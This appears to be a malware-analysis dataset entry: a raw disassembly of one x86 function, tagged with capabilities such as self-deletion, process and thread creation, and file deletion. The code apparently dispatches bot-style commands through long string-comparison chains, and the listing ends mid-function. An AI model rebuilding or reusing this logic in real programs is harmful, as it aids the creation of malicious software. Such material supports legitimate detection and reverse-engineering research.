Function at 0x40e3b4
Capabilities:
Check for time delay via gettickcount
Check http status code
Create a process with modified i/o handles and window
Create process on windows
Create thread
Delete file
Get common file path
Move file
Self delete
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x15b0
call fcn.00418d90
push ebx
push esi
mov esi, 0x200
push edi
xor ebx, ebx
push esi
lea eax, [ebp - 0x2dc]
push ebx
push eax
mov dword [ebp - 0xbc], 3
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xd8], ebx
call fcn.004189f0
push 0x1b
lea eax, [ebp - 0x928]
push dword [ebp + 0x18]
push eax
call fcn.00419e20
add esp, 0x18
cmp dword [ebp + 8], ebx
je 0x40e64b
push esi
lea eax, [ebp - 0xfb0]
push ebx
push eax
call fcn.004189f0
dec esi
lea eax, [ebp - 0xfb0]
push esi
push dword [ebp + 8]
push eax
call fcn.00419e20
lea eax, [ebp - 0xfb0]
push 0x435264
push eax
call fcn.0041a170
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xfb0]
push esi
push eax
lea eax, [ebp - 0x11b0]
push eax
call fcn.00419e20
mov esi, 0x42c5cc
lea eax, [ebp - 0x11b0]
push esi
push eax
call fcn.00419ff8
add esp, 0x34
mov dword [ebp - 0x94], eax
lea edi, [ebp - 0x90]
mov dword [ebp - 0xdc], 0x1f
push esi
push ebx
call fcn.00419ff8
mov dword [edi], eax
pop ecx
add edi, 4
dec dword [ebp - 0xdc]
pop ecx
jne 0x40e487
mov edi, dword [ebp - 0x94]
cmp edi, ebx
je 0x40e64b
mov esi, dword [ebp - 0x90]
cmp esi, ebx
je 0x40e64b
push 0x100
lea eax, [ebp - 0xa28]
push ebx
push eax
call fcn.004189f0
add esp, 0xc
lea ecx, [ebp - 0x18]
push 0x1f
pop edx
mov eax, dword [ecx]
cmp eax, ebx
je 0x40e506
cmp byte [eax], 0x2d
jne 0x40e50e
cmp byte [eax + 2], bl
jne 0x40e50e
movsx esi, byte [eax + 1]
mov dword [ecx], ebx
mov edi, dword [ebp - 0x94]
mov byte [ebp + esi - 0xa28], 1
mov esi, dword [ebp - 0x90]
mov byte [eax], bl
mov byte [eax + 1], bl
mov byte [eax + 2], bl
dec edx
sub ecx, 4
cmp edx, ebx
jge 0x40e4d4
cmp byte [ebp - 0x9b5], bl
je 0x40e51d
mov dword [ebp - 8], 1
cmp byte [ebp - 0x9ba], bl
je 0x40e52f
mov dword [ebp - 8], ebx
mov dword [ebp - 4], 1
cmp byte [edi], 0xa
je 0x40e569
push 0x7f
lea eax, [ebp - 0xaa8]
push edi
push eax
call fcn.00419e20
lea eax, [edi + 1]
push 0x17
push eax
lea eax, [ebp - 0xd4]
push eax
call fcn.00419e20
lea eax, [ebp - 0xd4]
push 0x435260
push eax
call fcn.00419ff8
add esp, 0x20
push edi
push 0x435258
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e5b2
push esi
push 0x43524c
push dword [ebp + 0xc]
mov byte [edi + 1], 0x4f
call fcn.0040a42e
mov eax, dword [ebp + 0x28]
add esp, 0xc
cmp dword [eax], ebx
jne 0x40e64b
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push 0x43523c
push dword [ebp + 0xc]
call fcn.0040a42e
jmp 0x413bf7
push esi
push 0x435238
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414454
push esi
push 0x435234
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414454
push esi
push 0x435230
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e612
push 0x43522c
push dword [ebp - 0x88]
call fcn.0041a170
pop ecx
cmp eax, ebx
pop ecx
je 0x40e64b
inc eax
push 0x9f
push eax
push dword [ebp + 0x24]
jmp 0x40e7ca
push esi
push 0x435228
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e653
push ebx
push dword [0x4888dc]
push dword [0x43240c]
push dword [ebp + 0x18]
call fcn.0041558e
push dword [ebp + 0x18]
push 0x43521c
push dword [ebp + 0xc]
call fcn.0040a42e
add esp, 0x1c
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
mov edi, dword [ebp + 0x20]
lea eax, [ebp - 0xaa8]
push eax
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e673
mov dword [ebp - 0xb8], 1
push esi
push 0x435214
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e732
cmp byte [edi], bl
je 0x40e710
push 0x7f
lea eax, [ebp - 0xaa8]
push edi
push eax
call fcn.00419e20
lea eax, [ebp - 0xd4]
add esp, 0xc
test eax, eax
je 0x40e710
cmp dword [ebp - 0x88], ebx
je 0x40e710
push dword [ebp - 0x88]
lea eax, [ebp - 0xd4]
push eax
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e710
lea eax, [ebp - 0xd4]
mov byte [edi], bl
push eax
lea eax, [ebp - 0x2dc]
push 0x4351f8
push eax
call fcn.00418f47
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0xd4]
push eax
push 0x4351e8
push dword [ebp + 0xc]
call fcn.0040a42e
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
add esp, 0x20
push dword [ebp - 0x88]
push dword [ebp + 0x18]
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e64b
mov eax, dword [ebp + 0x28]
mov dword [eax], ebx
jmp 0x40e59a
push esi
push 0x4351e0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e86f
mov eax, dword [ebp - 0x8c]
lea esi, [eax + 1]
lea eax, [ebp - 0xaa8]
push eax
push edi
mov dword [ebp + 0x2c], esi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e799
lea eax, [ebp - 0xaa8]
push 0x21
push eax
call fcn.0041a0b0
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp + 8], eax
je 0x40e799
lea eax, [edi + 1]
push esi
push eax
mov byte [edi], 0x3a
call fcn.004190d0
push dword [ebp + 8]
add edi, 2
push edi
call fcn.004190e0
add esp, 0x10
lea eax, [ebp - 0xd4]
test eax, eax
je 0x40e64b
cmp esi, ebx
je 0x40e64b
push dword [ebp + 0x18]
lea eax, [ebp - 0xd4]
push eax
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e7d7
push 0xf
push esi
push dword [ebp + 0x18]
call fcn.00419e20
add esp, 0xc
jmp 0x40e64b
mov edi, dword [ebp + 0x20]
xor esi, esi
cmp byte [edi], bl
je 0x40e7f3
lea eax, [ebp - 0xaa8]
push eax
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e804
inc esi
add edi, 0x80
cmp esi, 1
jl 0x40e7dc
jmp 0x40e64b
lea eax, [ebp - 0xaa8]
push 0x21
push eax
call fcn.0041a0b0
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp + 8], eax
je 0x40e64b
push eax
call fcn.00418970
push dword [ebp + 0x2c]
mov edi, eax
call fcn.00418970
add edi, eax
pop ecx
cmp edi, 0x7e
pop ecx
ja 0x40e64b
push dword [ebp + 8]
shl esi, 7
push dword [ebp + 0x2c]
add esi, dword [ebp + 0x20]
push 0x4351d8
push esi
call fcn.00418f47
push ebx
lea eax, [ebp - 0x4c0]
push ebx
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x24
jmp 0x40e64b
push esi
push 0x4351d0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e891
push esi
push 0x42c348
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e8c2
xor esi, esi
mov dword [ebp + 0x14], edi
mov eax, dword [ebp + 0x14]
cmp byte [eax], bl
je 0x40e8af
push dword [ebp - 0x94]
push eax
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e904
add dword [ebp + 0x14], 0x80
inc esi
cmp esi, 1
jl 0x40e896
mov esi, dword [ebp - 0x90]
push esi
push 0x4351cc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e962
push dword [ebp - 0x84]
push dword [ebp + 0x10]
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40e8f4
mov eax, dword [ebp + 0x28]
mov dword [eax], 1
push dword [ebp - 0x84]
push 0x4351b0
jmp 0x414448
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x2dc]
shl esi, 7
push 0x435190
push eax
mov byte [esi + edi], bl
call fcn.00418f47
lea eax, [ebp - 0x2dc]
push eax
call fcn.00405616
push dword [ebp - 0x90]
push 0x4351d0
call fcn.00419c00
add esp, 0x18
test eax, eax
jne 0x40e64b
lea eax, [ebp - 0x2dc]
push eax
mov eax, dword [ebp - 0x94]
inc eax
push eax
push 0x4351e8
jmp 0x40e5a5
push dword [ebp - 0x90]
mov esi, 0x42ce24
push esi
call fcn.00419c00
pop ecx
mov edi, 0x42ce2c
test eax, eax
pop ecx
je 0x40e9b6
push dword [ebp - 0x90]
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e9b6
push dword [ebp - 0x90]
push 0x43518c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x4142a6
cmp dword [0x4323fc], ebx
je 0x4142a6
push dword [ebp - 0x90]
push esi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e9fa
push dword [ebp - 0x90]
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40e9fa
mov ecx, dword [ebp - 0x88]
inc dword [ebp - 0x84]
push 4
mov dword [ebp - 0x8c], ecx
pop eax
mov dword [ebp - 0xbc], eax
jmp 0x40eaa3
push dword [ebp - 0x90]
push edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40ea13
mov dword [ebp - 4], 1
cmp dword [ebp - 0x8c], ebx
je 0x40e64b
push 0x4289b0
push dword [ebp - 0x8c]
call fcn.0041a170
pop ecx
test eax, eax
pop ecx
je 0x40ea3a
cmp dword [ebp - 4], ebx
je 0x40ea46
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x88], ebx
je 0x40e64b
inc dword [ebp - 0x88]
je 0x40ea90
cmp dword [ebp + 0x18], ebx
je 0x40ea90
lea eax, [ebp - 0x928]
push eax
call fcn.00418970
push eax
lea eax, [ebp - 0x928]
push dword [ebp - 0x88]
push eax
call fcn.0041af30
add esp, 0x10
neg eax
sbb eax, eax
add eax, 4
mov dword [ebp - 0xbc], eax
jmp 0x40ea96
mov eax, dword [ebp - 0xbc]
cmp dword [ebp + eax*4 - 0x94], ebx
je 0x40e64b
mov esi, eax
shl esi, 2
mov eax, dword [ebp + esi - 0x94]
lea edi, [ebp + esi - 0x94]
push eax
push 0x435184
mov dword [ebp + 0x10], eax
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40ed59
push dword [ebp + esi - 0x90]
push 0x43517c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40ec17
cmp dword [ebp - 0xb8], ebx
je 0x40ebed
push dword [ebp + esi - 0x8c]
mov edi, 0x42c858
lea eax, [ebp - 0x6f4]
push edi
push eax
call fcn.00418f47
push dword [ebp + esi - 0x88]
lea eax, [ebp - 0x708]
push edi
push eax
call fcn.00418f47
push dword [ebp + esi - 0x84]
call fcn.00418e4a
mov dword [ebp - 0x570], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x710], eax
lea eax, [ebp - 0xd4]
push 0x7f
push eax
lea eax, [ebp - 0x5f0]
push eax
call fcn.00419e20
mov eax, dword [ebp - 4]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x5f0]
push eax
lea eax, [ebp - 0x6f4]
push eax
lea eax, [ebp - 0x2dc]
push 0x435150
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x12
push eax
call fcn.00417ed1
add esp, 0x44
mov dword [ebp - 0x56c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x710]
push ebx
push eax
push 0x406c07
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x56c]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x40ebdc
cmp dword [ebp - 0x560], ebx
jne 0x40ec0f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ebca
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x435118
jmp 0x40ed45
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x2dc]
push dword [ebp + esi - 0x8c]
push 0x4350d8
push eax
call fcn.00418f47
add esp, 0x10
push 1
pop esi
jmp 0x41045a
push dword [ebp + esi - 0x90]
push 0x4350d0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40ed6f
cmp dword [ebp - 0xb8], ebx
je 0x40ed39
push 0x13
call fcn.00418119
test eax, eax
pop ecx
jne 0x40ed2b
push dword [ebp + esi - 0x88]
lea eax, [ebp - 0x708]
push 0x42c858
push eax
call fcn.00418f47
push dword [ebp + esi - 0x84]
call fcn.00418e4a
mov dword [ebp - 0x570], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x710], eax
lea eax, [ebp - 0xd4]
push 0x7f
push eax
lea eax, [ebp - 0x5f0]
push eax
call fcn.00419e20
mov eax, dword [ebp - 4]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0xd4]
push eax
lea eax, [ebp - 0x2dc]
push 0x4350b4
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push 0x13
push eax
call fcn.00417ed1
add esp, 0x34
mov dword [ebp - 0x56c], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x710]
push ebx
push eax
push 0x4066a4
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x56c]
imul ecx, ecx, 0x234
cmp eax, ebx
mov dword [ecx + 0x443bec], eax
je 0x40ed1d
cmp dword [ebp - 0x560], ebx
jne 0x40ec0f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ed07
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x435080
jmp 0x40ed45
lea eax, [ebp - 0xd4]
push eax
push 0x435054
jmp 0x40ed45
lea eax, [ebp - 0xd4]
push eax
push 0x435024
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
add esp, 0xc
jmp 0x40ec0f
mov eax, dword [ebp + 0x10]
lea ecx, [eax + 1]
mov al, byte [eax]
cmp al, byte [0x432404]
mov dword [edi], ecx
jne 0x40e64b
mov edi, dword [edi]
push edi
push 0x432974
mov dword [ebp + 0x10], edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4142ae
push edi
push 0x435020
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x4142ae
cmp dword [ebp - 0xb8], ebx
jne 0x40edc0
push dword [ebp - 0x90]
push 0x43518c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x4142a6
cmp dword [ebp + 0x30], ebx
jne 0x4142a6
xor edi, edi
cmp dword [0x43280c], ebx
jle 0x40ef6c
mov dword [ebp + 0x28], 0x442e58
push dword [ebp + 0x10]
push dword [ebp + 0x28]
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x40ee04
add dword [ebp + 0x28], 0xb8
inc edi
cmp edi, dword [0x43280c]
jl 0x40edde
jmp 0x40ef6c
push 0x435264
push dword [ebp + 8]
call fcn.0041a170
pop ecx
cmp eax, ebx
pop ecx
je 0x40e64b
mov cl, byte [0x432404]
imul edi, edi, 0xb8
mov byte [eax + 2], cl
mov cl, byte [0x432404]
mov byte [eax + 3], cl
lea ecx, [edi + 0x442e70]
push 0x9f
add eax, 4
push ecx
push eax
call fcn.00419e20
lea eax, [ebp + esi - 0x54]
add esp, 0xc
mov dword [ebp + 0x28], 0xf
mov dword [ebp + 0x14], eax
push dword [ebp + 0x28]
lea eax, [ebp - 0xb4]
push 0x435018
push eax
call fcn.00418f47
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0041a170
add esp, 0x14
test eax, eax
je 0x40eec5
mov eax, dword [ebp + 0x14]
cmp dword [eax], ebx
je 0x40eec5
lea eax, [edi + 0x442e58]
push eax
call fcn.00418970
add dword [ebp - 0xc], eax
pop ecx
je 0x40eef7
mov eax, dword [ebp + 0x14]
push dword [eax - 4]
push dword [ebp - 0xc]
call fcn.0041a170
pop ecx
cmp eax, ebx
pop ecx
je 0x40eef7
push eax
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0040b889
add esp, 0xc
jmp 0x40eef7
mov eax, dword [ebp + 0x14]
cmp dword [eax], ebx
jne 0x40eef7
lea eax, [ebp - 0xb4]
push 2
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00419e20
lea eax, [ebp - 0x14]
mov byte [ebp - 0x12], bl
push eax
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0040b889
add esp, 0x18
dec dword [ebp + 0x28]
sub dword [ebp + 0x14], 4
cmp dword [ebp + 0x28], ebx
jg 0x40ee59
lea eax, [ebp + esi - 0x54]
mov dword [ebp + 0x28], 0x10
mov edi, eax
push dword [ebp + 0x28]
lea eax, [ebp - 0xb4]
push 0x435014
push eax
call fcn.00418f47
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0041a170
add esp, 0x14
test eax, eax
je 0x40ef57
mov eax, dword [edi]
cmp eax, ebx
je 0x40ef57
push eax
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0040b889
add esp, 0xc
dec dword [ebp + 0x28]
sub edi, 4
cmp dword [ebp + 0x28], ebx
jg 0x40ef14
mov dword [ebp - 0xd8], 1
mov eax, dword [ebp + 0x10]
mov al, byte [eax]
cmp al, byte [0x432404]
je 0x40ef85
cmp dword [ebp - 0xd8], ebx
je 0x40f16a
push dword [ebp + 0x18]
mov edi, dword [ebp + 8]
push 0x435010
push edi
call fcn.0040b889
lea eax, [ebp - 0xd4]
push eax
push 0x435008
push edi
call fcn.0040b889
push dword [ebp - 0x8c]
push 0x435000
push edi
call fcn.0040b889
push ebx
push ebx
lea eax, [ebp - 0xb4]
push 2
push eax
call fcn.0041558e
push eax
push 0x434ff4
push edi
call fcn.0040b889
add esp, 0x40
push dword [ebp + 0x1c]
push 0x434fec
push edi
call fcn.0040b889
mov edi, 0x434fe4
push edi
push dword [ebp + 8]
call fcn.0041a170
add esp, 0x14
test eax, eax
je 0x40f0e8
push edi
push dword [ebp + 8]
call fcn.0041a170
mov dword [ebp + 0x18], eax
add eax, 5
push 4
push eax
lea eax, [ebp - 0xb4]
push eax
call fcn.00419e20
lea eax, [ebp - 0xb4]
push 0x434fe0
push eax
call fcn.00419ff8
add esp, 0x1c
cmp byte [ebp - 0xb4], 0x30
jl 0x40f043
cmp byte [ebp - 0xb4], 0x39
jle 0x40f059
push 3
lea eax, [ebp - 0xb4]
push 0x434fdc
push eax
call fcn.00419e20
add esp, 0xc
lea eax, [ebp - 0xb4]
push eax
call fcn.00418e4a
test eax, eax
pop ecx
jle 0x40f07c
lea eax, [ebp - 0xb4]
push eax
call fcn.00418e4a
pop ecx
mov byte [ebp - 0x14], al
jmp 0x40f08d
call fcn.004191ca
push 0x60
cdq
pop ecx
idiv ecx
add dl, 0x20
mov byte [ebp - 0x14], dl
lea eax, [ebp - 0xb4]
mov byte [ebp - 0x13], bl
push eax
call fcn.00418970
mov dword [ebp + 0x28], eax
push 0xc
lea eax, [ebp - 0xb4]
push ebx
push eax
call fcn.004189f0
mov eax, dword [ebp + 0x28]
add eax, 6
push eax
lea eax, [ebp - 0xb4]
push dword [ebp + 0x18]
push eax
call fcn.00419e20
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xb4]
push eax
push dword [ebp + 8]
call fcn.0040b889
push edi
push dword [ebp + 8]
call fcn.0041a170
add esp, 0x30
jmp 0x40eff7
mov edi, 0x1ff
lea eax, [ebp - 0xfb0]
push edi
push dword [ebp + 8]
push eax
call fcn.00419e20
lea eax, [ebp - 0xfb0]
push edi
push eax
lea eax, [ebp - 0x11b0]
push eax
call fcn.00419e20
lea eax, [ebp - 0x11b0]
push 0x42c5cc
push eax
call fcn.00419ff8
add esp, 0x20
mov dword [ebp - 0x94], eax
lea edi, [ebp - 0x90]
mov dword [ebp + 0x18], 0x1f
push 0x42c5cc
push ebx
call fcn.00419ff8
mov dword [edi], eax
pop ecx
add edi, 4
dec dword [ebp + 0x18]
pop ecx
jne 0x40f138
mov ecx, dword [ebp + esi - 0x94]
lea eax, [ebp + esi - 0x94]
cmp ecx, ebx
je 0x40e64b
add ecx, 3
mov dword [eax], ecx
mov edi, dword [ebp + esi - 0x94]
push edi
push 0x434fd4
mov dword [ebp + 0x10], edi
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414259
push edi
push 0x434fd0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414259
push edi
push 0x434fcc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414237
push edi
push 0x428b20
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414237
push edi
push 0x434fc4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414195
push edi
push 0x434fc0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414195
push edi
push 0x434fb8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414177
push edi
push 0x434fb4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x414177
push edi
push 0x434fac
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41406a
push edi
push 0x434fa8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41406a
push edi
push 0x434f9c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41406a
push edi
push 0x434f94
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41406a
push edi
push 0x434f8c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f48
push edi
push 0x434f88
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f48
push edi
push 0x434f7c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f2c3
push dword [ebp + esi - 0x90]
push 0x11
push 0x434f74
push 0x434f68
jmp 0x413f2c
push edi
push 0x434f5c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f2ec
push dword [ebp + esi - 0x90]
push 6
push 0x434f74
push 0x434f50
jmp 0x413f2c
push edi
push 0x434f44
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f315
push dword [ebp + esi - 0x90]
push 3
push 0x434f74
push 0x434f3c
jmp 0x413f2c
push edi
push 0x434f34
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f33e
push dword [ebp + esi - 0x90]
push 0x1c
push 0x434f28
push 0x434f20
jmp 0x413f2c
push edi
push 0x434f10
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f367
push dword [ebp + esi - 0x90]
push 0x10
push 0x434f00
push 0x434ef4
jmp 0x413f2c
push edi
push 0x434ee8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f390
push dword [ebp + esi - 0x90]
push 0xa
push 0x434edc
push 0x434ed4
jmp 0x413f2c
push edi
push 0x434ecc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f3b9
push dword [ebp + esi - 0x90]
push 0xb
push 0x434ec0
push 0x434eb8
jmp 0x413f2c
push edi
push 0x434eb0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f3e2
push dword [ebp + esi - 0x90]
push 0xf
push 0x434ea4
push 0x434e9c
jmp 0x413f2c
push edi
push 0x434e90
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f40b
push dword [ebp + esi - 0x90]
push 0xe
push 0x434e84
push 0x434e7c
jmp 0x413f2c
push edi
push 0x434e70
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f434
push dword [ebp + esi - 0x90]
push 4
push 0x434f74
push 0x434e68
jmp 0x413f2c
push edi
push 0x434e58
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f19
push edi
push 0x434e50
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f19
push edi
push 0x434e44
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f04
push edi
push 0x434e3c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413f04
push edi
push 0x434e30
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f4b1
push dword [ebp + esi - 0x90]
push 0x17
push 0x434e28
push 0x434e1c
jmp 0x413f2c
push edi
push 0x434e10
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f4da
push dword [ebp + esi - 0x90]
push 0x19
push 0x434e08
push 0x434dfc
jmp 0x413f2c
push edi
push 0x434df0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f503
push dword [ebp + esi - 0x90]
push 8
push 0x434de8
push 0x434de0
jmp 0x413f2c
push edi
push 0x434dd4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413eee
push edi
push 0x434dcc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413eee
push edi
push 0x434dc0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413ecd
push edi
push 0x42ba1c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413ecd
push edi
push 0x434db4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413eab
push edi
push 0x434db0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413eab
push edi
push 0x434da8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413e63
push edi
push 0x434da4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413e63
push edi
push 0x434d9c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413e25
push edi
push 0x434d98
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413e25
push edi
push 0x434d94
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413dee
push edi
push 0x434d90
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413dee
push edi
push 0x434d88
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
jne 0x40f651
call fcn.0040bcd2
test eax, eax
mov eax, 0x434d6c
jne 0x40f623
mov eax, 0x434d48
push eax
lea eax, [ebp - 0x2dc]
push eax
call fcn.00418f47
push ebx
lea eax, [ebp - 0x2dc]
push dword [ebp - 4]
push eax
push dword [ebp - 0x8c]
push dword [ebp + 0xc]
call fcn.0040a474
add esp, 0x1c
jmp 0x40ec0f
push edi
push 0x434d40
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413d0f
push edi
push 0x434d3c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413d0f
push edi
push 0x434d34
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413cef
push edi
push 0x434d30
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413cef
push edi
push 0x434d2c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413bff
push edi
push 0x434d28
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413bff
push edi
push 0x434d1c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413be3
push edi
push 0x434d18
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413be3
push edi
push 0x434d10
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413bac
push edi
push 0x434d0c
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413bac
push edi
push 0x434d04
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413b81
push edi
push 0x434d00
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413b81
push edi
push 0x434cf8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413b47
push edi
push 0x434cf4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413b47
push edi
push 0x434cec
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413a33
push edi
push 0x434ce8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413a33
push edi
push 0x434cdc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413a09
push edi
push 0x42adbc
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413a09
push edi
push 0x434cd4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41398a
push edi
push 0x434cd0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41398a
push edi
push 0x434cc4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41396d
push edi
push 0x434cc0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41396d
push edi
push 0x434cb4
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413954
push edi
push 0x434cb0
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x413954
push edi
push 0x434ca8
call fcn.00419c00
pop ecx
test eax, eax
pop ecx
je 0x41390d
push edi
push 0x434ca0
call fcn.00419c00
pop ecx
test eax, eax
